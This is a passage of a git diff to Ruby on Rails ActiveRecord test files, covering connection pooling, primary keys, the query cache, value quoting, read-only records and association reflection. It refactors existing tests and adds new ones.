     ActiveRecord::Base.establish_connection(@connection)
-    @per_test_teardown.each {|td| td.call }
+    @per_test_teardown.each(&:call)
   end
 
   # Will deadlock due to lack of Monitor timeouts in 1.9
@@ -35,6 +35,22 @@ class PooledConnectionsTest < ActiveRecord::TestCase
     end
   end
 
+  def checkout_checkin_connections_loop(pool_size, loops)
+    ActiveRecord::Base.establish_connection(@connection.merge({:pool => pool_size, :checkout_timeout => 0.5}))
+    @connection_count = 0
+    @timed_out = 0
+    loops.times do
+      begin
+        conn = ActiveRecord::Base.connection_pool.checkout
+        ActiveRecord::Base.connection_pool.checkin conn
+        @connection_count += 1
+        ActiveRecord::Base.connection.tables
+      rescue ActiveRecord::ConnectionTimeoutError
+        @timed_out += 1
+      end
+    end
+  end
+
   def test_pooled_connection_checkin_one
     checkout_checkin_connections 1, 2
     assert_equal 2, @connection_count
@@ -42,10 +58,24 @@ class PooledConnectionsTest < ActiveRecord::TestCase
     assert_equal 1, ActiveRecord::Base.connection_pool.connections.size
   end
 
+  def test_pooled_connection_checkin_two
+    checkout_checkin_connections_loop 2, 3
+    assert_equal 3, @connection_count
+    assert_equal 0, @timed_out
+    assert_equal 2, ActiveRecord::Base.connection_pool.connections.size
+  end
+
+  def test_pooled_connection_remove
+    ActiveRecord::Base.establish_connection(@connection.merge({:pool => 2, :checkout_timeout => 0.5}))
+    old_connection = ActiveRecord::Base.connection
+    extra_connection = ActiveRecord::Base.connection_pool.checkout
+    ActiveRecord::Base.connection_pool.remove(extra_connection)
+    assert_equal ActiveRecord::Base.connection, old_connection
+  end
 
   private
 
   def add_record(name)
     ActiveRecord::Base.connection_pool.with_connection { Project.create! :name => name }
   end
-end unless current_adapter?(:FrontBase) || in_memory_db?
+end unless in_memory_db?
diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb
index aa125c70c5..4b668f84dd 100644
--- a/activerecord/test/cases/primary_keys_test.rb
+++ b/activerecord/test/cases/primary_keys_test.rb
@@ -1,10 +1,12 @@
 require "cases/helper"
+require 'support/schema_dumping_helper'
 require 'models/topic'
 require 'models/reply'
 require 'models/subscriber'
 require 'models/movie'
 require 'models/keyboard'
 require 'models/mixed_case_monkey'
+require 'models/dashboard'
 
 class PrimaryKeysTest < ActiveRecord::TestCase
   fixtures :topics, :subscribers, :movies, :mixed_case_monkeys
@@ -92,6 +94,7 @@ class PrimaryKeysTest < ActiveRecord::TestCase
   end
 
   def test_primary_key_prefix
+    old_primary_key_prefix_type = ActiveRecord::Base.primary_key_prefix_type
     ActiveRecord::Base.primary_key_prefix_type = :table_name
     Topic.reset_primary_key
     assert_equal "topicid", Topic.primary_key
@@ -103,6 +106,8 @@ class PrimaryKeysTest < ActiveRecord::TestCase
     ActiveRecord::Base.primary_key_prefix_type = nil
     Topic.reset_primary_key
     assert_equal "id", Topic.primary_key
+  ensure
+    ActiveRecord::Base.primary_key_prefix_type = old_primary_key_prefix_type
   end
 
   def test_delete_should_quote_pkey
@@ -131,14 +136,22 @@ class PrimaryKeysTest < ActiveRecord::TestCase
   end
 
   def test_primary_key_returns_value_if_it_exists
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'developers'
+    end
+
     if ActiveRecord::Base.connection.supports_primary_key?
-      assert_equal 'id', ActiveRecord::Base.connection.primary_key('developers')
+      assert_equal 'id', klass.primary_key
     end
   end
 
   def test_primary_key_returns_nil_if_it_does_not_exist
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'developers_projects'
+    end
+
     if ActiveRecord::Base.connection.supports_primary_key?
-      assert_nil ActiveRecord::Base.connection.primary_key('developers_projects')
+      assert_nil klass.primary_key
     end
   end
 
@@ -149,55 +162,68 @@ class PrimaryKeysTest < ActiveRecord::TestCase
     assert_equal k.connection.quote_column_name("foo"), k.quoted_primary_key
   end
 
-  def test_two_models_with_same_table_but_different_primary_key
-    k1 = Class.new(ActiveRecord::Base)
-    k1.table_name = 'posts'
-    k1.primary_key = 'id'
-
-    k2 = Class.new(ActiveRecord::Base)
-    k2.table_name = 'posts'
-    k2.primary_key = 'title'
+  def test_auto_detect_primary_key_from_schema
+    MixedCaseMonkey.reset_primary_key
+    assert_equal "monkeyID", MixedCaseMonkey.primary_key
+  end
 
-    assert k1.columns.find { |c| c.name == 'id' }.primary
-    assert !k1.columns.find { |c| c.name == 'title' }.primary
-    assert k1.columns_hash['id'].primary
-    assert !k1.columns_hash['title'].primary
+  def test_primary_key_update_with_custom_key_name
+    dashboard = Dashboard.create!(dashboard_id: '1')
+    dashboard.id = '2'
+    dashboard.save!
 
-    assert !k2.columns.find { |c| c.name == 'id' }.primary
-    assert k2.columns.find { |c| c.name == 'title' }.primary
-    assert !k2.columns_hash['id'].primary
-    assert k2.columns_hash['title'].primary
+    dashboard = Dashboard.first
+    assert_equal '2', dashboard.id
   end
+end
+
+class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  unless in_memory_db?
+    def test_set_primary_key_with_no_connection
+      connection = ActiveRecord::Base.remove_connection
+
+      model = Class.new(ActiveRecord::Base)
+      model.primary_key = 'foo'
 
-  def test_models_with_same_table_have_different_columns
-    k1 = Class.new(ActiveRecord::Base)
-    k1.table_name = 'posts'
+      assert_equal 'foo', model.primary_key
 
-    k2 = Class.new(ActiveRecord::Base)
-    k2.table_name = 'posts'
+      ActiveRecord::Base.establish_connection(connection)
 
-    k1.columns.zip(k2.columns).each do |col1, col2|
-      assert !col1.equal?(col2)
+      assert_equal 'foo', model.primary_key
     end
   end
 end
 
-class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
+class PrimaryKeyAnyTypeTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+
   self.use_transactional_fixtures = false
 
-  def test_set_primary_key_with_no_connection
-    return skip("disconnect wipes in-memory db") if in_memory_db?
+  class Barcode < ActiveRecord::Base
+  end
 
-    connection = ActiveRecord::Base.remove_connection
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table(:barcodes, primary_key: "code", id: :string, limit: 42, force: true)
+  end
 
-    model = Class.new(ActiveRecord::Base)
-    model.primary_key = 'foo'
+  teardown do
+    @connection.drop_table(:barcodes) if @connection.table_exists? :barcodes
+  end
 
-    assert_equal 'foo', model.primary_key
+  def test_any_type_primary_key
+    assert_equal "code", Barcode.primary_key
 
-    ActiveRecord::Base.establish_connection(connection)
+    column_type = Barcode.type_for_attribute(Barcode.primary_key)
+    assert_equal :string, column_type.type
+    assert_equal 42, column_type.limit
+  end
 
-    assert_equal 'foo', model.primary_key
+  test "schema dump primary key includes type and options" do
+    schema = dump_table_schema "barcodes"
+    assert_match %r{create_table "barcodes", primary_key: "code", id: :string, limit: 42}, schema
   end
 end
 
@@ -212,7 +238,49 @@ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
     ensure
       con.reconnect!
     end
-
   end
 end
 
+if current_adapter?(:PostgreSQLAdapter, :MysqlAdapter, :Mysql2Adapter)
+  class PrimaryKeyBigSerialTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+
+    self.use_transactional_fixtures = false
+
+    class Widget < ActiveRecord::Base
+    end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+      if current_adapter?(:PostgreSQLAdapter)
+        @connection.create_table(:widgets, id: :bigserial, force: true)
+      else
+        @connection.create_table(:widgets, id: :bigint, force: true)
+      end
+    end
+
+    teardown do
+      @connection.execute("DROP TABLE IF EXISTS widgets")
+    end
+
+    test "primary key column type with bigserial" do
+      column_type = Widget.type_for_attribute(Widget.primary_key)
+      assert_equal :integer, column_type.type
+      assert_equal 8, column_type.limit
+    end
+
+    test "primary key with bigserial are automatically numbered" do
+      widget = Widget.create!
+      assert_not_nil widget.id
+    end
+
+    test "schema dump primary key with bigserial" do
+      schema = dump_table_schema "widgets"
+      if current_adapter?(:PostgreSQLAdapter)
+        assert_match %r{create_table "widgets", id: :bigserial}, schema
+      else
+        assert_match %r{create_table "widgets", id: :bigint}, schema
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index 136fda664c..744f9edc47 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -8,7 +8,7 @@ require 'rack'
 class QueryCacheTest < ActiveRecord::TestCase
   fixtures :tasks, :topics, :categories, :posts, :categories_posts
 
-  def setup
+  teardown do
     Task.connection.clear_query_cache
     ActiveRecord::Base.connection.disable_query_cache!
   end
@@ -118,6 +118,14 @@ class QueryCacheTest < ActiveRecord::TestCase
     assert ActiveRecord::Base.connection.query_cache.empty?, 'cache should be empty'
   end
 
+  def test_cache_passing_a_relation
+    post = Post.first
+    Post.cache do
+      query = post.categories.select(:post_id)
+      assert Post.connection.select_all(query).is_a?(ActiveRecord::Result)
+    end
+  end
+
   def test_find_queries
     assert_queries(2) { Task.find(1); Task.find(1) }
   end
@@ -134,6 +142,15 @@ class QueryCacheTest < ActiveRecord::TestCase
     end
   end
 
+  def test_find_queries_with_multi_cache_blocks
+    Task.cache do
+      Task.cache do
+        assert_queries(2) { Task.find(1); Task.find(2) }
+      end
+      assert_queries(0) { Task.find(1); Task.find(1); Task.find(2) }
+    end
+  end
+
   def test_count_queries_with_cache
     Task.cache do
       assert_queries(1) { Task.count; Task.count }
@@ -195,6 +212,38 @@ class QueryCacheTest < ActiveRecord::TestCase
   ensure
     ActiveRecord::Base.configurations = conf
   end
+
+  def test_query_cache_doesnt_leak_cached_results_of_rolled_back_queries
+    ActiveRecord::Base.connection.enable_query_cache!
+    post = Post.first
+
+    Post.transaction do
+      post.update_attributes(title: 'rollback')
+      assert_equal 1, Post.where(title: 'rollback').to_a.count
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal 0, Post.where(title: 'rollback').to_a.count
+
+    ActiveRecord::Base.connection.uncached do
+      assert_equal 0, Post.where(title: 'rollback').to_a.count
+    end
+
+    begin
+      Post.transaction do
+        post.update_attributes(title: 'rollback')
+        assert_equal 1, Post.where(title: 'rollback').to_a.count
+        raise 'broken'
+      end
+    rescue Exception
+    end
+
+    assert_equal 0, Post.where(title: 'rollback').to_a.count
+
+    ActiveRecord::Base.connection.uncached do
+      assert_equal 0, Post.where(title: 'rollback').to_a.count
+    end
+  end
 end
 
 class QueryCacheExpiryTest < ActiveRecord::TestCase
@@ -205,7 +254,7 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
     Post.find(1)
 
     # change the column definition
-    Post.connection.change_column :posts, :title, :string, :limit => 80
+    Post.connection.change_column :posts, :title, :string, limit: 80
     assert_nothing_raised { Post.find(1) }
 
     # restore the old definition
@@ -232,7 +281,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
 
   def test_update
     Task.connection.expects(:clear_query_cache).times(2)
-
     Task.cache do
       task = Task.find(1)
       task.starting = Time.now.utc
@@ -242,7 +290,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
 
   def test_destroy
     Task.connection.expects(:clear_query_cache).times(2)
-
     Task.cache do
       Task.find(1).destroy
     end
@@ -250,7 +297,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
 
   def test_insert
     ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
-
     Task.cache do
       Task.create!
     end
diff --git a/activerecord/test/cases/quoting_test.rb b/activerecord/test/cases/quoting_test.rb
index 44b2064110..6d91f96bf6 100644
--- a/activerecord/test/cases/quoting_test.rb
+++ b/activerecord/test/cases/quoting_test.rb
@@ -3,14 +3,6 @@ require "cases/helper"
 module ActiveRecord
   module ConnectionAdapters
     class QuotingTest < ActiveRecord::TestCase
-      class FakeColumn < ActiveRecord::ConnectionAdapters::Column
-        attr_accessor :type
-
-        def initialize type
-          @type = type
-        end
-      end
-
       def setup
         @quoter = Class.new { include Quoting }.new
       end
@@ -53,29 +45,29 @@ module ActiveRecord
       end
 
       def test_quoted_time_utc
-        with_active_record_default_timezone :utc do
-          t = Time.now
+        with_timezone_config default: :utc do
+          t = Time.now.change(usec: 0)
           assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
         end
       end
 
       def test_quoted_time_local
-        with_active_record_default_timezone :local do
-          t = Time.now
+        with_timezone_config default: :local do
+          t = Time.now.change(usec: 0)
           assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
         end
       end
 
       def test_quoted_time_crazy
-        with_active_record_default_timezone :asdfasdf do
-          t = Time.now
+        with_timezone_config default: :asdfasdf do
+          t = Time.now.change(usec: 0)
           assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
         end
       end
 
       def test_quoted_datetime_utc
-        with_active_record_default_timezone :utc do
-          t = DateTime.now
+        with_timezone_config default: :utc do
+          t = Time.now.change(usec: 0).to_datetime
           assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
         end
       end
@@ -83,77 +75,61 @@ module ActiveRecord
       ###
       # DateTime doesn't define getlocal, so make sure it does nothing
       def test_quoted_datetime_local
-        with_active_record_default_timezone :local do
-          t = DateTime.now
+        with_timezone_config default: :local do
+          t = Time.now.change(usec: 0).to_datetime
           assert_equal t.to_s(:db), @quoter.quoted_date(t)
         end
       end
 
       def test_quote_with_quoted_id
         assert_equal 1, @quoter.quote(Struct.new(:quoted_id).new(1), nil)
-        assert_equal 1, @quoter.quote(Struct.new(:quoted_id).new(1), 'foo')
       end
 
       def test_quote_nil
         assert_equal 'NULL', @quoter.quote(nil, nil)
-        assert_equal 'NULL', @quoter.quote(nil, 'foo')
       end
 
       def test_quote_true
         assert_equal @quoter.quoted_true, @quoter.quote(true, nil)
-        assert_equal '1', @quoter.quote(true, Struct.new(:type).new(:integer))
       end
 
       def test_quote_false
         assert_equal @quoter.quoted_false, @quoter.quote(false, nil)
-        assert_equal '0', @quoter.quote(false, Struct.new(:type).new(:integer))
       end
 
       def test_quote_float
         float = 1.2
         assert_equal float.to_s, @quoter.quote(float, nil)
-        assert_equal float.to_s, @quoter.quote(float, Object.new)
       end
 
       def test_quote_fixnum
         fixnum = 1
         assert_equal fixnum.to_s, @quoter.quote(fixnum, nil)
-        assert_equal fixnum.to_s, @quoter.quote(fixnum, Object.new)
       end
 
       def test_quote_bignum
         bignum = 1 << 100
         assert_equal bignum.to_s, @quoter.quote(bignum, nil)
-        assert_equal bignum.to_s, @quoter.quote(bignum, Object.new)
       end
 
       def test_quote_bigdecimal
         bigdec = BigDecimal.new((1 << 100).to_s)
         assert_equal bigdec.to_s('F'), @quoter.quote(bigdec, nil)
-        assert_equal bigdec.to_s('F'), @quoter.quote(bigdec, Object.new)
       end
 
       def test_dates_and_times
         @quoter.extend(Module.new { def quoted_date(value) 'lol' end })
         assert_equal "'lol'", @quoter.quote(Date.today, nil)
-        assert_equal "'lol'", @quoter.quote(Date.today, Object.new)
         assert_equal "'lol'", @quoter.quote(Time.now, nil)
-        assert_equal "'lol'", @quoter.quote(Time.now, Object.new)
         assert_equal "'lol'", @quoter.quote(DateTime.now, nil)
-        assert_equal "'lol'", @quoter.quote(DateTime.now, Object.new)
       end
 
       def test_crazy_object
-        crazy = Class.new.new
-        expected = "'#{YAML.dump(crazy)}'"
-        assert_equal expected, @quoter.quote(crazy, nil)
-        assert_equal expected, @quoter.quote(crazy, Object.new)
-      end
-
-      def test_crazy_object_calls_quote_string
-        crazy = Class.new { def initialize; @lol = 'lo\l' end }.new
-        assert_match "lo\\\\l", @quoter.quote(crazy, nil)
-        assert_match "lo\\\\l", @quoter.quote(crazy, Object.new)
+        crazy = Object.new
+        e = assert_raises(TypeError) do
+          @quoter.quote(crazy, nil)
+        end
+        assert_equal "can't quote Object", e.message
       end
 
       def test_quote_string_no_column
@@ -165,36 +141,13 @@ module ActiveRecord
         assert_equal "'lo\\\\l'", @quoter.quote(string, nil)
       end
 
-      def test_quote_string_int_column
-        assert_equal "1", @quoter.quote('1', FakeColumn.new(:integer))
-        assert_equal "1", @quoter.quote('1.2', FakeColumn.new(:integer))
-      end
-
-      def test_quote_string_float_column
-        assert_equal "1.0", @quoter.quote('1', FakeColumn.new(:float))
-        assert_equal "1.2", @quoter.quote('1.2', FakeColumn.new(:float))
-      end
-
-      def test_quote_as_mb_chars_binary_column
-        string = ActiveSupport::Multibyte::Chars.new('lo\l')
-        assert_equal "'lo\\\\l'", @quoter.quote(string, FakeColumn.new(:binary))
-      end
-
-      def test_quote_binary_without_string_to_binary
-        assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:binary))
-      end
-
       def test_string_with_crazy_column
-        assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:foo))
+        assert_equal "'lo\\\\l'", @quoter.quote('lo\l')
       end
 
       def test_quote_duration
         assert_equal "1800", @quoter.quote(30.minutes)
       end
-
-      def test_quote_duration_int_column
-        assert_equal "7200", @quoter.quote(2.hours, FakeColumn.new(:integer))
-      end
     end
   end
 end
diff --git a/activerecord/test/cases/readonly_test.rb b/activerecord/test/cases/readonly_test.rb
index 2afd25c989..1c919f0b57 100644
--- a/activerecord/test/cases/readonly_test.rb
+++ b/activerecord/test/cases/readonly_test.rb
@@ -3,6 +3,7 @@ require 'models/author'
 require 'models/post'
 require 'models/comment'
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/reader'
 require 'models/person'
@@ -22,9 +23,15 @@ class ReadOnlyTest < ActiveRecord::TestCase
       assert !dev.save
       dev.name = 'Forbidden.'
     end
-    assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save  }
-    assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save! }
-    assert_raise(ActiveRecord::ReadOnlyRecord) { dev.destroy }
+
+    e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save  }
+    assert_equal "Developer is marked as readonly", e.message
+
+    e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save! }
+    assert_equal "Developer is marked as readonly", e.message
+
+    e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.destroy }
+    assert_equal "Developer is marked as readonly", e.message
   end
 
 
diff --git a/activerecord/test/cases/reaper_test.rb b/activerecord/test/cases/reaper_test.rb
index e53a27d5dd..cccfc6774e 100644
--- a/activerecord/test/cases/reaper_test.rb
+++ b/activerecord/test/cases/reaper_test.rb
@@ -10,8 +10,7 @@ module ActiveRecord
         @pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
       end
 
-      def teardown
-        super
+      teardown do
         @pool.connections.each(&:close)
       end
 
@@ -61,20 +60,25 @@ module ActiveRecord
 
       def test_connection_pool_starts_reaper
         spec = ActiveRecord::Base.connection_pool.spec.dup
-        spec.config[:reaping_frequency] = 0.0001
+        spec.config[:reaping_frequency] = '0.0001'
 
         pool = ConnectionPool.new spec
-        pool.dead_connection_timeout = 0
 
-        conn = pool.checkout
-        count = pool.connections.length
+        conn = nil
+        child = Thread.new do
+          conn = pool.checkout
+          Thread.stop
+        end
+        Thread.pass while conn.nil?
+
+        assert conn.in_use?
 
-        conn.extend(Module.new { def active?; false; end; })
+        child.terminate
 
-        while count == pool.connections.length
+        while conn.in_use?
           Thread.pass
         end
-        assert_equal(count - 1, pool.connections.length)
+        assert !conn.in_use?
       end
     end
   end
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
index 0e5c7df2cc..b0e40c7145 100644
--- a/activerecord/test/cases/reflection_test.rb
+++ b/activerecord/test/cases/reflection_test.rb
@@ -18,6 +18,11 @@ require 'models/subscription'
 require 'models/tag'
 require 'models/sponsor'
 require 'models/edge'
+require 'models/hotel'
+require 'models/chef'
+require 'models/department'
+require 'models/cake_designer'
+require 'models/drink_designer'
 
 class ReflectionTest < ActiveRecord::TestCase
   include ActiveRecord::Reflection
@@ -45,20 +50,20 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_columns_are_returned_in_the_order_they_were_declared
-    column_names = Topic.columns.map { |column| column.name }
+    column_names = Topic.columns.map(&:name)
     assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important approved replies_count unique_replies_count parent_id parent_title type group created_at updated_at), column_names
   end
 
   def test_content_columns
     content_columns        = Topic.content_columns
-    content_column_names   = content_columns.map {|column| column.name}
+    content_column_names   = content_columns.map(&:name)
     assert_equal 13, content_columns.length
     assert_equal %w(title author_name author_email_address written_on bonus_time last_read content important group approved parent_title created_at updated_at).sort, content_column_names.sort
   end
 
   def test_column_string_type_and_limit
     assert_equal :string, @first.column_for_attribute("title").type
-    assert_equal 255, @first.column_for_attribute("title").limit
+    assert_equal 250, @first.column_for_attribute("title").limit
   end
 
   def test_column_null_not_null
@@ -75,24 +80,49 @@ class ReflectionTest < ActiveRecord::TestCase
     assert_equal :integer, @first.column_for_attribute("id").type
   end
 
+  def test_non_existent_columns_return_null_object
+    column = @first.column_for_attribute("attribute_that_doesnt_exist")
+    assert_instance_of ActiveRecord::ConnectionAdapters::NullColumn, column
+    assert_equal "attribute_that_doesnt_exist", column.name
+    assert_equal nil, column.sql_type
+    assert_equal nil, column.type
+  end
+
+  def test_non_existent_types_are_identity_types
+    type = @first.type_for_attribute("attribute_that_doesnt_exist")
+    object = Object.new
+
+    assert_equal object, type.type_cast_from_database(object)
+    assert_equal object, type.type_cast_from_user(object)
+    assert_equal object, type.type_cast_for_database(object)
+  end
+
   def test_reflection_klass_for_nested_class_name
-    reflection = MacroReflection.new(:company, nil, nil, { :class_name => 'MyApplication::Business::Company' }, ActiveRecord::Base)
+    reflection = ActiveRecord::Reflection.create(:has_many, nil, nil, { :class_name => 'MyApplication::Business::Company' }, ActiveRecord::Base)
     assert_nothing_raised do
       assert_equal MyApplication::Business::Company, reflection.klass
     end
   end
 
+  def test_irregular_reflection_class_name
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.irregular 'plural_irregular', 'plurales_irregulares'
+    end
+    reflection = ActiveRecord::Reflection.create(:has_many, 'plurales_irregulares', nil, {}, ActiveRecord::Base)
+    assert_equal 'PluralIrregular', reflection.class_name
+  end
+
   def test_aggregation_reflection
     reflection_for_address = AggregateReflection.new(
-      :composed_of, :address, nil, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
+      :address, nil, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
     )
 
     reflection_for_balance = AggregateReflection.new(
-      :composed_of, :balance, nil, { :class_name => "Money", :mapping => %w(balance amount) }, Customer
+      :balance, nil, { :class_name => "Money", :mapping => %w(balance amount) }, Customer
     )
 
     reflection_for_gps_location = AggregateReflection.new(
-      :composed_of, :gps_location, nil, { }, Customer
+      :gps_location, nil, { }, Customer
     )
 
     assert Customer.reflect_on_all_aggregations.include?(reflection_for_gps_location)
@@ -116,7 +146,7 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_has_many_reflection
-    reflection_for_clients = AssociationReflection.new(:has_many, :clients, nil, { :order => "id", :dependent => :destroy }, Firm)
+    reflection_for_clients = ActiveRecord::Reflection.create(:has_many, :clients, nil, { :order => "id", :dependent => :destroy }, Firm)
 
     assert_equal reflection_for_clients, Firm.reflect_on_association(:clients)
 
@@ -128,7 +158,7 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_has_one_reflection
-    reflection_for_account = AssociationReflection.new(:has_one, :account, nil, { :foreign_key => "firm_id", :dependent => :destroy }, Firm)
+    reflection_for_account = ActiveRecord::Reflection.create(:has_one, :account, nil, { :foreign_key => "firm_id", :dependent => :destroy }, Firm)
     assert_equal reflection_for_account, Firm.reflect_on_association(:account)
 
     assert_equal Account, Firm.reflect_on_association(:account).klass
@@ -187,7 +217,16 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_reflection_should_not_raise_error_when_compared_to_other_object
-    assert_nothing_raised { Firm.reflections[:clients] == Object.new }
+    assert_not_equal Object.new, Firm._reflections['clients']
+  end
+
+  def test_reflections_should_return_keys_as_strings
+    assert Category.reflections.keys.all? { |key| key.is_a? String }, "Model.reflections is expected to return string for keys"
+  end
+
+  def test_has_and_belongs_to_many_reflection
+    assert_equal :has_and_belongs_to_many, Category.reflections['posts'].macro
+    assert_equal :posts, Category.reflect_on_all_associations(:has_and_belongs_to_many).first.name
   end
 
   def test_has_many_through_reflection
@@ -227,6 +266,17 @@ class ReflectionTest < ActiveRecord::TestCase
     assert_equal expected, actual
   end
 
+  def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case
+    @hotel = Hotel.create!
+    @department = @hotel.departments.create!
+    @department.chefs.create!(employable: CakeDesigner.create!)
+    @department.chefs.create!(employable: DrinkDesigner.create!)
+
+    assert_equal 1, @hotel.cake_designers.size
+    assert_equal 1, @hotel.drink_designers.size
+    assert_equal 2, @hotel.chefs.size
+  end
+
   def test_nested?
     assert !Author.reflect_on_association(:comments).nested?
     assert Author.reflect_on_association(:tags).nested?
@@ -249,12 +299,12 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_association_primary_key_raises_when_missing_primary_key
-    reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, nil, {}, Author)
+    reflection = ActiveRecord::Reflection.create(:has_many, :edge, nil, {}, Author)
     assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key }
 
     through = Class.new(ActiveRecord::Reflection::ThroughReflection) {
       define_method(:source_reflection) { reflection }
-    }.new(:fuu, :edge, nil, {}, Author)
+    }.new(reflection)
     assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key }
   end
 
@@ -264,7 +314,7 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_active_record_primary_key_raises_when_missing_primary_key
-    reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :author, nil, {}, Edge)
+    reflection = ActiveRecord::Reflection.create(:has_many, :author, nil, {}, Edge)
     assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.active_record_primary_key }
   end
 
@@ -282,32 +332,28 @@ class ReflectionTest < ActiveRecord::TestCase
   end
 
   def test_default_association_validation
-    assert AssociationReflection.new(:has_many, :clients, nil, {}, Firm).validate?
+    assert ActiveRecord::Reflection.create(:has_many, :clients, nil, {}, Firm).validate?
 
-    assert !AssociationReflection.new(:has_one, :client, nil, {}, Firm).validate?
-    assert !AssociationReflection.new(:belongs_to, :client, nil, {}, Firm).validate?
-    assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, {}, Firm).validate?
+    assert !ActiveRecord::Reflection.create(:has_one, :client, nil, {}, Firm).validate?
+    assert !ActiveRecord::Reflection.create(:belongs_to, :client, nil, {}, Firm).validate?
   end
 
   def test_always_validate_association_if_explicit
-    assert AssociationReflection.new(:has_one, :client, nil, { :validate => true }, Firm).validate?
-    assert AssociationReflection.new(:belongs_to, :client, nil, { :validate => true }, Firm).validate?
-    assert AssociationReflection.new(:has_many, :clients, nil, { :validate => true }, Firm).validate?
-    assert AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :validate => true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:has_one, :client, nil, { :validate => true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:belongs_to, :client, nil, { :validate => true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:has_many, :clients, nil, { :validate => true }, Firm).validate?
   end
 
   def test_validate_association_if_autosave
-    assert AssociationReflection.new(:has_one, :client, nil, { :autosave => true }, Firm).validate?
-    assert AssociationReflection.new(:belongs_to, :client, nil, { :autosave => true }, Firm).validate?
-    assert AssociationReflection.new(:has_many, :clients, nil, { :autosave => true }, Firm).validate?
-    assert AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :autosave => true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:has_one, :client, nil, { :autosave => true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:belongs_to, :client, nil, { :autosave => true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:has_many, :clients, nil, { :autosave => true }, Firm).validate?
   end
 
   def test_never_validate_association_if_explicit
-    assert !AssociationReflection.new(:has_one, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
-    assert !AssociationReflection.new(:belongs_to, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
-    assert !AssociationReflection.new(:has_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
-    assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
+    assert !ActiveRecord::Reflection.create(:has_one, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
+    assert !ActiveRecord::Reflection.create(:belongs_to, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
+    assert !ActiveRecord::Reflection.create(:has_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
   end
 
   def test_foreign_key
@@ -329,11 +375,11 @@ class ReflectionTest < ActiveRecord::TestCase
     category = Struct.new(:table_name, :pluralize_table_names).new('categories', true)
     product = Struct.new(:table_name, :pluralize_table_names).new('products', true)
 
-    reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, product)
+    reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, product)
     reflection.stubs(:klass).returns(category)
     assert_equal 'categories_products', reflection.join_table
 
-    reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, {}, category)
+    reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, {}, category)
     reflection.stubs(:klass).returns(product)
     assert_equal 'categories_products', reflection.join_table
   end
@@ -342,11 +388,11 @@ class ReflectionTest < ActiveRecord::TestCase
     category = Struct.new(:table_name, :pluralize_table_names).new('catalog_categories', true)
     product = Struct.new(:table_name, :pluralize_table_names).new('catalog_products', true)
 
-    reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, product)
